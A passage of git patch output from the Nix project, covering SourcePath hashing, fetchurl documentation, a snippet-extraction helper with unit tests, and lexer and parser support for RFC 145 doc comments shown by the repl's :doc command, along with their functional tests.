haven't linted these files yet ''^config/install-sh$'' - ''^misc/systemv/nix-daemon$'' ''^misc/bash/completion\.sh$'' ''^misc/fish/completion\.fish$'' ''^misc/zsh/completion\.zsh$'' From 550b3479cf066b9e5a435d1cb42240f88021b31f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 15 Jul 2024 15:46:30 +0200 Subject: [PATCH 1082/1251] Include the accessor in the SourcePath hash --- src/libutil/source-path.hh | 6 +++++- src/libutil/util.hh | 14 ++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 941744127..d310231a7 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -9,6 +9,8 @@ #include "canon-path.hh" #include "source-accessor.hh" +#include // for boost::hash_combine + namespace nix { /** @@ -128,6 +130,8 @@ struct std::hash { std::size_t operator()(const nix::SourcePath & s) const noexcept { - return std::hash{}(s.path); + std::size_t hash = 0; + hash_combine(hash, s.accessor->number, s.path); + return hash; } }; diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 23682ff7c..dd1139843 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -360,4 +360,18 @@ inline std::string operator + (std::string_view s1, const char * s2) return s; } +/** + * hash_combine() from Boost. Hash several hashable values together + * into a single hash. + */ +inline void hash_combine(std::size_t & seed) { } + +template +inline void hash_combine(std::size_t & seed, const T & v, Rest... rest) +{ + std::hash hasher; + seed ^= hasher(v) + 0x9e3779b9 + (seed<<6) + (seed>>2); + hash_combine(seed, rest...); +} + } From 945fff5674e4dc8c9a2a365d555d4561c770ec20 Mon Sep 17 00:00:00 2001 From: Farid Zakaria Date: Mon, 15 Jul 2024 09:12:56 -0700 Subject: [PATCH 1083/1251] Apply suggestions from code review Add @edolstra suggestion fixes. Co-authored-by: Eelco Dolstra --- src/libexpr/primops/fetchTree.cc | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index a9956ad88..333e486fd 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -529,17 +529,16 @@ static void prim_fetchurl(EvalState & state, const PosIdx pos, Value * * args, V static RegisterPrimOp primop_fetchurl({ .name = "__fetchurl", - .args = {"args"}, + .args = {"arg"}, .doc = R"( - If args is a URL, return the path of the downloaded file. - Otherwise, it can be an attribute with the following attributes - (all except url are optional): + Download the specified URL and return the path of the downloaded file. + `arg` can be either a string denoting the URL, or an attribute set with the following attributes: - `url` The URL of the file to download. - - `name` (default: `url without the protocol`) + - `name` (default: the last path component of the URL) A name for the file in the store. This can be useful if the URL has any characters that are invalid for the store. From 63f520fd00ec86f63a0e036f0be52cac822b2ac1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 11:49:18 +0200 Subject: [PATCH 1084/1251] doc/testing: Typo --- doc/manual/src/contributing/testing.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index a96ba997b..3949164d5 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -91,7 +91,7 @@ A environment variables that Google Test accepts are also worth knowing: Putting the two together, one might run ```bash -GTEST_BREIF=1 GTEST_FILTER='ErrorTraceTest.*' meson test nix-expr-tests -v +GTEST_BRIEF=1 GTEST_FILTER='ErrorTraceTest.*' meson test nix-expr-tests -v ``` for short but comprensive output. From e5af7cbeb9fdf5cff5f8cb25fbb99dccf13e47af Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 11:43:07 +0200 Subject: [PATCH 1085/1251] libutil: Add Pos::getSnippetUpTo(Pos) --- src/libutil/position.cc | 46 +++++++++++++ src/libutil/position.hh | 2 + tests/unit/libutil/position.cc | 120 +++++++++++++++++++++++++++++++++ 3 files changed, 168 insertions(+) create mode 100644 tests/unit/libutil/position.cc diff --git a/src/libutil/position.cc b/src/libutil/position.cc index 573efeeb2..508816d85 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -110,4 +110,50 @@ void Pos::LinesIterator::bump(bool atFirst) input.remove_prefix(eol); } +std::string Pos::getSnippetUpTo(const Pos & end) const { + assert(this->origin == end.origin); + + if (end.line < this->line) + return ""; + + if (auto source = getSource()) { + + auto firstLine = LinesIterator(*source); + for (auto i = 1; i < this->line; ++i) { + ++firstLine; + } + + auto lastLine = LinesIterator(*source); + for (auto i = 1; i < end.line; ++i) { + ++lastLine; + } + + LinesIterator linesEnd; + + std::string result; + for (auto i = firstLine; i != linesEnd; ++i) { + auto firstColumn = i == firstLine ? (this->column ? this->column - 1 : 0) : 0; + if (firstColumn > i->size()) + firstColumn = i->size(); + + auto lastColumn = i == lastLine ? (end.column ? end.column - 1 : 0) : std::numeric_limits::max(); + if (lastColumn < firstColumn) + lastColumn = firstColumn; + if (lastColumn > i->size()) + lastColumn = i->size(); + + result += i->substr(firstColumn, lastColumn - firstColumn); + + if (i == lastLine) { + break; + } else { + result += '\n'; + } + } + return result; + } + return ""; +} + + } diff --git a/src/libutil/position.hh b/src/libutil/position.hh index f8f34419b..729f2a523 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -63,6 +63,8 @@ struct Pos bool operator==(const Pos & rhs) const = default; auto operator<=>(const Pos & rhs) const = default; + std::string getSnippetUpTo(const Pos & end) const; + struct LinesIterator { using difference_type = size_t; using value_type = std::string_view; diff --git a/tests/unit/libutil/position.cc b/tests/unit/libutil/position.cc new file mode 100644 index 000000000..d38d2c538 --- /dev/null +++ b/tests/unit/libutil/position.cc @@ -0,0 +1,120 @@ +#include + +#include "position.hh" + +namespace nix { + +inline Pos::Origin makeStdin(std::string s) +{ + return Pos::Stdin{make_ref(s)}; +} + +TEST(Position, getSnippetUpTo_0) +{ + Pos::Origin o = makeStdin(""); + Pos p(1, 1, o); + ASSERT_EQ(p.getSnippetUpTo(p), ""); +} +TEST(Position, getSnippetUpTo_1) +{ + Pos::Origin o = makeStdin("x"); + { + // NOTE: line and column are actually 1-based indexes + Pos start(0, 0, o); + Pos end(99, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + // NOTE: line and column are actually 1-based indexes + Pos start(0, 99, o); + Pos end(99, 0, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + + // "x" might be preferable, but we only care about not crashing for invalid inputs + ASSERT_EQ(start.getSnippetUpTo(end), ""); + + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + Pos start(1, 1, o); + Pos end(1, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + Pos start(1, 1, o); + Pos end(99, 99, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "x"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } +} +TEST(Position, getSnippetUpTo_2) +{ + Pos::Origin o = makeStdin("asdf\njkl\nqwer"); + { + Pos start(1, 1, o); + Pos end(1, 2, o); + ASSERT_EQ(start.getSnippetUpTo(start), ""); + ASSERT_EQ(start.getSnippetUpTo(end), "a"); + ASSERT_EQ(end.getSnippetUpTo(end), ""); + ASSERT_EQ(end.getSnippetUpTo(start), ""); + } + { + Pos start(1, 2, o); + Pos end(1, 3, o); + ASSERT_EQ(start.getSnippetUpTo(end), "s"); + } + { + Pos start(1, 2, o); + Pos end(2, 2, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\nj"); + } + { + Pos start(1, 2, o); + Pos end(3, 2, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\njkl\nq"); + } + { + Pos start(1, 2, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "sdf\njkl"); + } + { + Pos start(1, 4, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "f\njkl"); + } + { + Pos start(1, 5, o); + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "\njkl"); + } + { + Pos start(1, 6, o); // invalid: starting column past last "line character", ie at the newline + Pos end(2, 99, o); + ASSERT_EQ(start.getSnippetUpTo(end), "\njkl"); // jkl might be acceptable for this invalid start position + } + { + Pos start(1, 1, o); + Pos end(2, 0, o); // invalid + ASSERT_EQ(start.getSnippetUpTo(end), "asdf\n"); + } +} + +TEST(Position, example_1) +{ + Pos::Origin o = makeStdin(" unambiguous = \n /** Very close */\n x: x;\n# ok\n"); + Pos start(2, 5, o); + Pos end(2, 22, o); + ASSERT_EQ(start.getSnippetUpTo(end), "/** Very close */"); +} + +} // namespace nix From 7fae378835534d2a17818fd7cd91aae91320aa03 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Jul 2024 17:39:26 +0200 Subject: [PATCH 1086/1251] Track doc comments and render them in :doc --- .../rl-next/repl-doc-renders-doc-comments.md | 53 ++++++++++++++++ src/libexpr/eval.cc | 61 +++++++++++++++++++ src/libexpr/lexer.l | 56 +++++++++++++++-- src/libexpr/nixexpr.cc | 14 +++++ src/libexpr/nixexpr.hh | 53 +++++++++++++++- src/libexpr/parser-state.hh | 41 +++++++++++++ src/libexpr/parser.y | 51 +++++++++++++--- tests/functional/repl.sh | 30 +++++++++ tests/functional/repl/characterisation/empty | 0 .../repl/doc-comment-function.expected | 8 +++ tests/functional/repl/doc-comment-function.in | 1 + .../functional/repl/doc-comment-function.nix | 3 + tests/functional/repl/doc-comments.nix | 57 +++++++++++++++++ tests/functional/repl/doc-compact.expected | 11 ++++ tests/functional/repl/doc-compact.in | 2 + tests/functional/repl/doc-floatedIn.expected | 11 ++++ tests/functional/repl/doc-floatedIn.in | 2 + .../repl/doc-lambda-flavors.expected | 29 +++++++++ tests/functional/repl/doc-lambda-flavors.in | 5 ++ .../functional/repl/doc-measurement.expected | 11 ++++ tests/functional/repl/doc-measurement.in | 2 + tests/functional/repl/doc-multiply.expected | 15 +++++ tests/functional/repl/doc-multiply.in | 2 + .../functional/repl/doc-unambiguous.expected | 11 ++++ tests/functional/repl/doc-unambiguous.in | 2 + 25 files changed, 515 insertions(+), 16 deletions(-) create mode 100644 doc/manual/rl-next/repl-doc-renders-doc-comments.md create mode 100644 tests/functional/repl/characterisation/empty create mode 100644 tests/functional/repl/doc-comment-function.expected create mode 100644 tests/functional/repl/doc-comment-function.in create mode 100644 tests/functional/repl/doc-comment-function.nix create mode 100644 tests/functional/repl/doc-comments.nix create mode 100644 tests/functional/repl/doc-compact.expected create mode 100644 tests/functional/repl/doc-compact.in create mode 100644 tests/functional/repl/doc-floatedIn.expected create mode 100644 tests/functional/repl/doc-floatedIn.in create mode 100644 tests/functional/repl/doc-lambda-flavors.expected create mode 100644 tests/functional/repl/doc-lambda-flavors.in create mode 100644 tests/functional/repl/doc-measurement.expected create mode 100644 tests/functional/repl/doc-measurement.in create mode 100644 tests/functional/repl/doc-multiply.expected create mode 100644 tests/functional/repl/doc-multiply.in create mode 100644 tests/functional/repl/doc-unambiguous.expected create mode 100644 tests/functional/repl/doc-unambiguous.in diff --git a/doc/manual/rl-next/repl-doc-renders-doc-comments.md b/doc/manual/rl-next/repl-doc-renders-doc-comments.md new file mode 100644 index 000000000..c9213a88c --- /dev/null +++ b/doc/manual/rl-next/repl-doc-renders-doc-comments.md @@ -0,0 +1,53 @@ +--- +synopsis: "`nix-repl`'s `:doc` shows documentation comments" +significance: significant +issues: +- 3904 +- 10771 +prs: +- 1652 +- 9054 +- 11072 +--- + +`nix repl` has a `:doc` command that previously only rendered documentation for internally defined functions. +This feature has been extended to also render function documentation comments, in accordance with [RFC 145]. + +Example: + +``` +nix-repl> :doc lib.toFunction +Function toFunction + … defined at /home/user/h/nixpkgs/lib/trivial.nix:1072:5 + + Turns any non-callable values into constant functions. Returns + callable values as is. + +Inputs + + v + + : Any value + +Examples + + :::{.example} + +## lib.trivial.toFunction usage example + + | nix-repl> lib.toFunction 1 2 + | 1 + | + | nix-repl> lib.toFunction (x: x + 1) 2 + | 3 + + ::: +``` + +Known limitations: +- It currently only works for functions. We plan to extend this to attributes, which may contain arbitrary values. +- Some extensions to markdown are not yet supported, as you can see in the example above. + +We'd like to acknowledge Yingchi Long for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as @sternenseemann and Johannes Kirschbauer for their contributions, proposals, and their work on [RFC 145]. + +[RFC 145]: https://github.com/NixOS/rfcs/pull/145 diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index a4cf2e8c8..bd7bac0f1 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -559,6 +559,67 @@ std::optional EvalState::getDoc(Value & v) .doc = doc, }; } + if (v.isLambda()) { + auto exprLambda = v.payload.lambda.fun; + + std::stringstream s(std::ios_base::out); + std::string name; + auto pos = positions[exprLambda->getPos()]; + std::string docStr; + + if (exprLambda->name) { + name = symbols[exprLambda->name]; + } + + if (exprLambda->docComment) { + auto begin = positions[exprLambda->docComment.begin]; + auto end = positions[exprLambda->docComment.end]; + auto docCommentStr = begin.getSnippetUpTo(end); + + // Strip "/**" and "*/" + constexpr size_t prefixLen = 3; + constexpr size_t suffixLen = 2; + docStr = docCommentStr.substr(prefixLen, docCommentStr.size() - prefixLen - suffixLen); + if (docStr.empty()) + return {}; + // Turn the now missing "/**" into indentation + docStr = " " + docStr; + // Strip indentation (for the whole, potentially multi-line string) + docStr = stripIndentation(docStr); + } + + if (name.empty()) { + s << "Function "; + } + else { + s << "Function **" << name << "**"; + if (pos) + s << "\\\n … " ; + else + s << "\\\n"; + } + if (pos) { + s << "defined at " << pos; + } + if (!docStr.empty()) { + s << "\n\n"; + } + + s << docStr; + + s << '\0'; // for making a c string below + std::string ss = s.str(); + + return Doc { + .pos = pos, + .name = name, + .arity = 0, // FIXME: figure out how deep by syntax only? It's not semantically useful though... + .args = {}, + .doc = + // FIXME: this leaks; make the field std::string? + strdup(ss.data()), + }; + } return {}; } diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 8c0f9d1f2..459f1d6f3 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -5,7 +5,7 @@ %option stack %option nodefault %option nounput noyy_top_state - +%option extra-type="::nix::LexerState *" %s DEFAULT %x STRING @@ -23,6 +23,12 @@ #include "nixexpr.hh" #include "parser-tab.hh" +// !!! FIXME !!! +#define YY_EXTRA_TYPE ::nix::LexerState * +int yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner); +YY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner ); +#undef YY_EXTRA_TYPE + using namespace nix; namespace nix { @@ -35,10 +41,24 @@ static void initLoc(YYLTYPE * loc) loc->first_column = loc->last_column = 0; } -static void adjustLoc(YYLTYPE * loc, const char * s, size_t len) +static void adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len) { loc->stash(); + LexerState & lexerState = *yyget_extra(yyscanner); + + if (lexerState.docCommentDistance == 1) { + // Preceding token was a doc comment. + ParserLocation doc; + doc.first_column = lexerState.lastDocCommentLoc.first_column; + ParserLocation docEnd; + docEnd.first_column = lexerState.lastDocCommentLoc.last_column; + DocComment docComment{lexerState.at(doc), lexerState.at(docEnd)}; + PosIdx locPos = lexerState.at(*loc); + lexerState.positionToDocComment.emplace(locPos, docComment); + } + lexerState.docCommentDistance++; + loc->first_column = loc->last_column; loc->last_column += len; } @@ -79,7 +99,7 @@ static StringToken unescapeStr(SymbolTable & symbols, char * s, size_t length) #pragma GCC diagnostic ignored "-Wimplicit-fallthrough" #define YY_USER_INIT initLoc(yylloc) -#define YY_USER_ACTION adjustLoc(yylloc, yytext, yyleng); +#define YY_USER_ACTION adjustLoc(yyscanner, yylloc, yytext, yyleng); #define PUSH_STATE(state) yy_push_state(state, yyscanner) #define POP_STATE() yy_pop_state(yyscanner) @@ -279,9 +299,33 @@ or { return OR_KW; } {SPATH} { yylval->path = {yytext, (size_t) yyleng}; return SPATH; } {URI} { yylval->uri = {yytext, (size_t) yyleng}; return URI; } -[ \t\r\n]+ /* eat up whitespace */ -\#[^\r\n]* /* single-line comments */ -\/\*([^*]|\*+[^*/])*\*+\/ /* long comments */ +%{ +// Doc comment rule +// +// \/\*\* /** +// [^/*] reject /**/ (empty comment) and /*** +// ([^*]|\*+[^*/])*\*+\/ same as the long comment rule +// ( )* zero or more non-ending sequences +// \* end(1) +// \/ end(2) +%} +\/\*\*[^/*]([^*]|\*+[^*/])*\*+\/ /* doc comments */ { + LexerState & lexerState = *yyget_extra(yyscanner); + lexerState.docCommentDistance = 0; + lexerState.lastDocCommentLoc.first_line = yylloc->first_line; + lexerState.lastDocCommentLoc.first_column = yylloc->first_column; + lexerState.lastDocCommentLoc.last_column = yylloc->last_column; +} + + +%{ +// The following rules have docCommentDistance-- +// This compensates for the docCommentDistance++ which happens by default to +// make all the other rules invalidate the doc comment. +%} +[ \t\r\n]+ /* eat up whitespace */ { yyget_extra(yyscanner)->docCommentDistance--; } +\#[^\r\n]* /* single-line comments */ { yyget_extra(yyscanner)->docCommentDistance--; } +\/\*([^*]|\*+[^*/])*\*+\/ /* long comments */ { yyget_extra(yyscanner)->docCommentDistance--; } {ANY} { /* Don't return a negative number, as this will cause diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index c1ffe3435..6e705c314 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -583,6 +583,20 @@ std::string ExprLambda::showNamePos(const EvalState & state) const return fmt("%1% at %2%", id, state.positions[pos]); } +void ExprLambda::setDocComment(DocComment docComment) { + if (!this->docComment) { + this->docComment = docComment; + + // Curried functions are defined by putting a function directly + // in the body of another function. To render docs for those, we + // need to propagate the doc comment to the innermost function. + // + // If we have our own comment, we've already propagated it, so this + // belongs in the same conditional. + body->setDocComment(docComment); + } +}; + /* Position table. */ diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 5152e3119..913f46ff9 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -11,13 +11,56 @@ namespace nix { - -struct Env; -struct Value; class EvalState; +class PosTable; +struct Env; struct ExprWith; struct StaticEnv; +struct Value; +/** + * A documentation comment, in the sense of [RFC 145](https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md) + * + * Note that this does not implement the following: + * - argument attribute names ("formals"): TBD + * - argument names: these are internal to the function and their names may not be optimal for documentation + * - function arity (degree of currying or number of ':'s): + * - Functions returning partially applied functions have a higher arity + * than can be determined locally and without evaluation. + * We do not want to present false data. + * - Some functions should be thought of as transformations of other + * functions. For instance `overlay -> overlay -> overlay` is the simplest + * way to understand `composeExtensions`, but its implementation looks like + * `f: g: final: prev: <...>`. The parameters `final` and `prev` are part + * of the overlay concept, while distracting from the function's purpose. + */ +struct DocComment { + +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wcomment" // "nested comment start" is intentional + + /** + * Start of the comment, including `/**`. + */ + PosIdx begin; + +#pragma GCC diagnostic pop + + /** + * Position right after the final asterisk and `/` that terminate the comment. + */ + PosIdx end; + + /** + * Whether the comment is set. + * + * A `DocComment` is small enough that it makes sense to pass by value, and + * therefore baking optionality into it is also useful, to avoiding the memory + * overhead of `std::optional`. + */ + operator bool() const { return static_cast(begin); } + +}; /** * An attribute path is a sequence of attribute names. @@ -54,6 +97,7 @@ struct Expr virtual void eval(EvalState & state, Env & env, Value & v); virtual Value * maybeThunk(EvalState & state, Env & env); virtual void setName(Symbol name); + virtual void setDocComment(DocComment docComment) { }; virtual PosIdx getPos() const { return noPos; } }; @@ -278,6 +322,8 @@ struct ExprLambda : Expr Symbol arg; Formals * formals; Expr * body; + DocComment docComment; + ExprLambda(PosIdx pos, Symbol arg, Formals * formals, Expr * body) : pos(pos), arg(arg), formals(formals), body(body) { @@ -290,6 +336,7 @@ struct ExprLambda : Expr std::string showNamePos(const EvalState & state) const; inline bool hasFormals() const { return formals != nullptr; } PosIdx getPos() const override { return pos; } + virtual void setDocComment(DocComment docComment) override; COMMON_METHODS }; diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index cff6282fa..8dc910468 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -1,6 +1,8 @@ #pragma once ///@file +#include + #include "eval.hh" namespace nix { @@ -35,10 +37,44 @@ struct ParserLocation first_column = stashed_first_column; last_column = stashed_last_column; } + + /** Latest doc comment position, or 0. */ + int doc_comment_first_line, doc_comment_first_column, doc_comment_last_column; +}; + +struct LexerState +{ + /** + * Tracks the distance to the last doc comment, in terms of lexer tokens. + * + * The lexer sets this to 0 when reading a doc comment, and increments it + * for every matched rule; see `lexer-helpers.cc`. + * Whitespace and comment rules decrement the distance, so that they result + * in a net 0 change in distance. + */ + int docCommentDistance = std::numeric_limits::max(); + + /** + * The location of the last doc comment. + * + * (stashing fields are not used) + */ + ParserLocation lastDocCommentLoc; + + /** + * @brief Maps some positions to a DocComment, where the comment is relevant to the location. + */ + std::map positionToDocComment; + + PosTable & positions; + PosTable::Origin origin; + + PosIdx at(const ParserLocation & loc); }; struct ParserState { + const LexerState & lexerState; SymbolTable & symbols; PosTable & positions; Expr * result; @@ -270,6 +306,11 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, return new ExprConcatStrings(pos, true, es2); } +inline PosIdx LexerState::at(const ParserLocation & loc) +{ + return positions.add(origin, loc.first_column); +} + inline PosIdx ParserState::at(const ParserLocation & loc) { return positions.add(origin, loc.first_column); diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 709a4532a..3c1bf95c8 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -74,6 +74,14 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * }); } +#define SET_DOC_POS(lambda, pos) setDocPosition(state->lexerState, lambda, state->at(pos)) +static void setDocPosition(const LexerState & lexerState, ExprLambda * lambda, PosIdx start) { + auto it = lexerState.positionToDocComment.find(start); + if (it != lexerState.positionToDocComment.end()) { + lambda->setDocComment(it->second); + } +} + %} @@ -119,6 +127,7 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * %token IND_STRING_OPEN IND_STRING_CLOSE %token ELLIPSIS + %right IMPL %left OR %left AND @@ -140,18 +149,28 @@ expr: expr_function; expr_function : ID ':' expr_function - { $$ = new ExprLambda(CUR_POS, state->symbols.create($1), 0, $3); } + { auto me = new ExprLambda(CUR_POS, state->symbols.create($1), 0, $3); + $$ = me; + SET_DOC_POS(me, @1); + } | '{' formals '}' ':' expr_function - { $$ = new ExprLambda(CUR_POS, state->validateFormals($2), $5); } + { auto me = new ExprLambda(CUR_POS, state->validateFormals($2), $5); + $$ = me; + SET_DOC_POS(me, @1); + } | '{' formals '}' '@' ID ':' expr_function { auto arg = state->symbols.create($5); - $$ = new ExprLambda(CUR_POS, arg, state->validateFormals($2, CUR_POS, arg), $7); + auto me = new ExprLambda(CUR_POS, arg, state->validateFormals($2, CUR_POS, arg), $7); + $$ = me; + SET_DOC_POS(me, @1); } | ID '@' '{' formals '}' ':' expr_function { auto arg = state->symbols.create($1); - $$ = new ExprLambda(CUR_POS, arg, state->validateFormals($4, CUR_POS, arg), $7); + auto me = new ExprLambda(CUR_POS, arg, state->validateFormals($4, CUR_POS, arg), $7); + $$ = me; + SET_DOC_POS(me, @1); } | ASSERT expr ';' expr_function { $$ = new ExprAssert(CUR_POS, $2, $4); } @@ -312,7 +331,20 @@ ind_string_parts ; binds - : binds attrpath '=' expr ';' { $$ = $1; state->addAttr($$, std::move(*$2), $4, state->at(@2)); delete $2; } + : binds attrpath '=' expr ';' { + $$ = $1; + + auto pos = state->at(@2); + { + auto it = state->lexerState.positionToDocComment.find(pos); + if (it != state->lexerState.positionToDocComment.end()) { + $4->setDocComment(it->second); + } + } + + state->addAttr($$, std::move(*$2), $4, pos); + delete $2; + } | binds INHERIT attrs ';' { $$ = $1; for (auto & [i, iPos] : *$3) { @@ -435,17 +467,22 @@ Expr * parseExprFromBuf( const Expr::AstSymbols & astSymbols) { yyscan_t scanner; + LexerState lexerState { + .positions = positions, + .origin = positions.addOrigin(origin, length), + }; ParserState state { + .lexerState = lexerState, .symbols = symbols, .positions = positions, .basePath = basePath, - .origin = positions.addOrigin(origin, length), + .origin = lexerState.origin, .rootFS = rootFS, .s = astSymbols, .settings = settings, }; - yylex_init(&scanner); + yylex_init_extra(&lexerState, &scanner); Finally _destroy([&] { yylex_destroy(scanner); }); yy_scan_buffer(text, length, scanner); diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index 86cd6f458..d356fe096 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -1,6 +1,7 @@ #!/usr/bin/env bash source common.sh +source characterisation/framework.sh testDir="$PWD" cd "$TEST_ROOT" @@ -244,3 +245,32 @@ testReplResponseNoRegex ' y = { a = 1 }; } ' + +# TODO: move init to characterisation/framework.sh +badDiff=0 +badExitCode=0 + +nixVersion="$(nix eval --impure --raw --expr 'builtins.nixVersion' --extra-experimental-features nix-command)" + +runRepl () { + # TODO: pass arguments to nix repl; see lang.sh + nix repl 2>&1 \ + | stripColors \ + | sed \ + -e "s@$testDir@/path/to/tests/functional@g" \ + -e "s@$nixVersion@@g" \ + -e "s@Added [0-9]* variables@Added variables@g" \ + | grep -vF $'warning: you don\'t have Internet access; disabling some network-dependent features' \ + ; +} + +for test in $(cd "$testDir/repl"; echo *.in); do + test="$(basename "$test" .in)" + in="$testDir/repl/$test.in" + actual="$testDir/repl/$test.actual" + expected="$testDir/repl/$test.expected" + (cd "$testDir/repl"; set +x; runRepl 2>&1) < "$in" > "$actual" + diffAndAcceptInner "$test" "$actual" "$expected" +done + +characterisationTestExit diff --git a/tests/functional/repl/characterisation/empty b/tests/functional/repl/characterisation/empty new file mode 100644 index 000000000..e69de29bb diff --git a/tests/functional/repl/doc-comment-function.expected b/tests/functional/repl/doc-comment-function.expected new file mode 100644 index 000000000..5ec465a96 --- /dev/null +++ b/tests/functional/repl/doc-comment-function.expected @@ -0,0 +1,8 @@ +Nix +Type :? for help. +Function defined at + /path/to/tests/functional/repl/doc-comment-function.nix:2:1 + + A doc comment for a file that only contains a function + + diff --git a/tests/functional/repl/doc-comment-function.in b/tests/functional/repl/doc-comment-function.in new file mode 100644 index 000000000..8f3c1388a --- /dev/null +++ b/tests/functional/repl/doc-comment-function.in @@ -0,0 +1 @@ +:doc import ./doc-comment-function.nix diff --git a/tests/functional/repl/doc-comment-function.nix b/tests/functional/repl/doc-comment-function.nix new file mode 100644 index 000000000..cdd241347 --- /dev/null +++ b/tests/functional/repl/doc-comment-function.nix @@ -0,0 +1,3 @@ +/** A doc comment for a file that only contains a function */ +{ ... }: +{ } diff --git a/tests/functional/repl/doc-comments.nix b/tests/functional/repl/doc-comments.nix new file mode 100644 index 000000000..a98f1c688 --- /dev/null +++ b/tests/functional/repl/doc-comments.nix @@ -0,0 +1,57 @@ +{ + /** + Perform *arithmetic* multiplication. It's kind of like repeated **addition**, very neat. + + ```nix + multiply 2 3 + => 6 + ``` + */ + multiply = x: y: x * y; + + /**👈 precisely this wide 👉*/ + measurement = x: x; + + floatedIn = /** This also works. */ + x: y: x; + + compact=/**boom*/x: x; + + /** Ignore!!! */ + unambiguous = + /** Very close */ + x: x; + + /** Firmly rigid. */ + constant = true; + + /** Immovably fixed. */ + lib.version = "9000"; + + /** Unchangeably constant. */ + lib.attr.empty = { }; + + lib.attr.undocumented = { }; + + nonStrict = /** My syntax is not strict, but I'm strict anyway. */ x: x; + strict = /** I don't have to be strict, but I am anyway. */ { ... }: null; + # Note that pre and post are the same here. I just had to name them somehow. + strictPre = /** Here's one way to do this */ a@{ ... }: a; + strictPost = /** Here's another way to do this */ { ... }@a: a; + + # TODO + + # /** This returns a documented function. */ + # documentedArgs = + # /** x */ + # x: + # /** y */ + # y: + # /** x + y */ + # x + y; + + # /** Documented formals */ + # documentedFormals = + # /** x */ + # x: x; +} diff --git a/tests/functional/repl/doc-compact.expected b/tests/functional/repl/doc-compact.expected new file mode 100644 index 000000000..4b05b653c --- /dev/null +++ b/tests/functional/repl/doc-compact.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. +Added variables. + +Function compact + … defined at + /path/to/tests/functional/repl/doc-comments.nix:18:20 + + boom + + diff --git a/tests/functional/repl/doc-compact.in b/tests/functional/repl/doc-compact.in new file mode 100644 index 000000000..c87c4e7ab --- /dev/null +++ b/tests/functional/repl/doc-compact.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc compact diff --git a/tests/functional/repl/doc-floatedIn.expected b/tests/functional/repl/doc-floatedIn.expected new file mode 100644 index 000000000..30f135725 --- /dev/null +++ b/tests/functional/repl/doc-floatedIn.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. +Added variables. + +Function floatedIn + … defined at + /path/to/tests/functional/repl/doc-comments.nix:16:5 + + This also works. + + diff --git a/tests/functional/repl/doc-floatedIn.in b/tests/functional/repl/doc-floatedIn.in new file mode 100644 index 000000000..97c12408e --- /dev/null +++ 